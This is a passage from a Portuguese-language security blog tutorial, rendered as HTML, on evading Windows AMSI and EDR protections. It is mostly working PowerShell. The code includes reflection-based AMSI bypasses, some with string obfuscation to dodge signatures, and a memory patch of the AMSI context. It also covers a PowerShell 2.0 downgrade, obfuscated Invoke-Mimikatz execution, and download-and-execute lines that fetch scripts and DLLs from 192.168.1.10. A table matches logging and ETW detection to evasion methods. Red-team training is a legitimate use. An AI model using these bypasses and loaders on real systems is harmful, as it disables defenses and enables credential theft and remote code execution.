&lt;p&gt;Após executar isso na sessão, o AMSI está neutralizado para o processo atual.&lt;/p&gt;
&lt;h2 id=&quot;técnica-2--forçar-erro-via-amsiinitfailed&quot;&gt;Técnica 2 — Forçar Erro via AmsiInitFailed&lt;/h2&gt;
&lt;p&gt;Uma abordagem mais furtiva: usar Reflection para setar o campo privado &lt;code&gt;amsiInitFailed&lt;/code&gt; no contexto da sessão atual, fazendo o PowerShell acreditar que o AMSI falhou ao inicializar.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# AmsiInitFailed — forçar falha de inicialização&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetTypes() | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Where-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    $_&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;.Name&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -like&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;*Am*i*&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$b&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $a&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;ForEach-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    $_&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;.GetFields&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;NonPublic,Static&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Where-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        $_&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;.Name&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -like&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;*ailed*&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$b.SetValue&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$true&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Este método é frequentemente detectado por EDRs modernos pois a string &lt;code&gt;amsiInitFailed&lt;/code&gt; virou uma assinatura. Use obfuscação:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Versão obfuscada com concatenação de strings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$x&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;Am&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;si&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;Utils&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$y&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;am&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;si&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;Init&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;Failed&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$t&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetType(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;System.Management.Automation.&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$x&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$f&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $t.GetField&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$y&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;NonPublic,Static&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$f.SetValue&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$true&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;técnica-3--patch-com-marshalwriteint32&quot;&gt;Técnica 3 — Patch com Marshal.WriteInt32&lt;/h2&gt;
&lt;p&gt;Variação do patch direto, usando &lt;code&gt;Marshal.WriteInt32&lt;/code&gt; sem precisar de P/Invoke custom:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Bypass via Marshal sem Add-Type&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$b&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;].Assembly.GetType(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;System.Management.Automation.AmsiUtils&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$c&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $b.GetField&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;amsiContext&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;NonPublic,Static&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$d&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $c.GetValue&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;$null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Corrompe o contexto AMSI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$a&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::WriteInt32([&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;IntPtr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;](&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$d.ToInt64&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 0x8&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;técnica-4--downgrade-para-powershell-20&quot;&gt;Técnica 4 — Downgrade para PowerShell 2.0&lt;/h2&gt;
&lt;p&gt;O PowerShell 2.0 não implementa AMSI. Se ainda estiver instalado no sistema:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Verifica se PS 2.0 está disponível&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;powershell &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;version &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Command &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;$PSVersionTable&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Executa payload no contexto PS 2.0 (sem AMSI)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;powershell &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;version &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ExecutionPolicy Bypass &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;File payload.ps1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Verifica instalação do .NET 2.0/3.5 (necessário para PS 2.0)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Get-WindowsOptionalFeature&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Online &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;FeatureName MicrosoftWindowsPowerShellV2Root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Nota:&lt;/strong&gt; Muitos ambientes modernos têm PS 2.0 desabilitado via GPO. Verifique antes de tentar.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;técnica-5--obfuscação-de-strings-evasão-de-assinaturas&quot;&gt;Técnica 5 — Obfuscação de Strings (Evasão de Assinaturas)&lt;/h2&gt;
&lt;p&gt;Em vez de patchear AMSI, evite ativá-lo. Strings conhecidas como &lt;code&gt;amsiInitFailed&lt;/code&gt;, &lt;code&gt;AmsiScanBuffer&lt;/code&gt;, &lt;code&gt;Invoke-Mimikatz&lt;/code&gt; ativam assinaturas. Use obfuscação:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Concatenação simples&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$cmd&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;Invoke&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;-&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;Mi&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;mi&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;katz&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;IEX &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$cmd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Base64 encoding&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Convert&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::ToBase64String([&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::Unicode.GetBytes(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;Invoke-Mimikatz&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;IEX ([&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::Unicode.GetString([&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Convert&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::FromBase64String(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# SecureString (menos comum mas eficaz)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$s&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;amsiInitFailed&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$secure&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; ConvertTo-SecureString&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $s&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;AsPlainText &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Force&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$plain&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::PtrToStringAuto(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::SecureStringToBSTR(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$secure&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;técnica-6--carregamento-via-webrequest-in-memory&quot;&gt;Técnica 6 — Carregamento via WebRequest (In-Memory)&lt;/h2&gt;
&lt;p&gt;Carregar payloads diretamente na memória sem tocar o disco, minimizando surface de detecção:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Bypass + carregamento in-memory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# 1. Disable AMSI primeiro&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# 2. Carrega assembly remoto sem escritar em disco&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;IEX (&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;New-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; Net.WebClient).DownloadString(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;http://192.168.1.10/bypass.ps1&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Ou via IWR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$r&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; Invoke-WebRequest&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;Uri &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;http://192.168.1.10/payload.ps1&apos;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;UseBasicParsing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;IEX &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$r.Content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Assembly .NET em memória&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bytes&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;New-Object&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; Net.WebClient).DownloadData(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;http://192.168.1.10/tool.dll&apos;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Reflection.Assembly&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::Load(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bytes&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;detecção-e-contornos-de-edr&quot;&gt;Detecção e Contornos de EDR&lt;/h2&gt;
&lt;p&gt;EDRs modernos monitoram além do AMSI:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vetor de Detecção&lt;/th&gt;&lt;th&gt;Técnica de Evasão&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Assinaturas de string&lt;/td&gt;&lt;td&gt;Obfuscação, encoding, concatenação&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Script Block Logging&lt;/td&gt;&lt;td&gt;Patchear &lt;code&gt;ScriptBlockLoggingEnabled&lt;/code&gt; via registro&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ETW (Event Tracing)&lt;/td&gt;&lt;td&gt;Patchear &lt;code&gt;EtwEventWrite&lt;/code&gt; em &lt;code&gt;ntdll.dll&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Constrained Language Mode&lt;/td&gt;&lt;td&gt;Bypass via COM, &lt;code&gt;Add-Type&lt;/code&gt;, runspaces&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WLDP (WDAC)&lt;/td&gt;&lt;td&gt;Técnicas mais avançadas de process injection&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Desabilitar Script Block Logging (requer permissão ou bypass de CLM)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$key&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &apos;HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&apos;&lt;/span&gt;&lt;/span&gt;
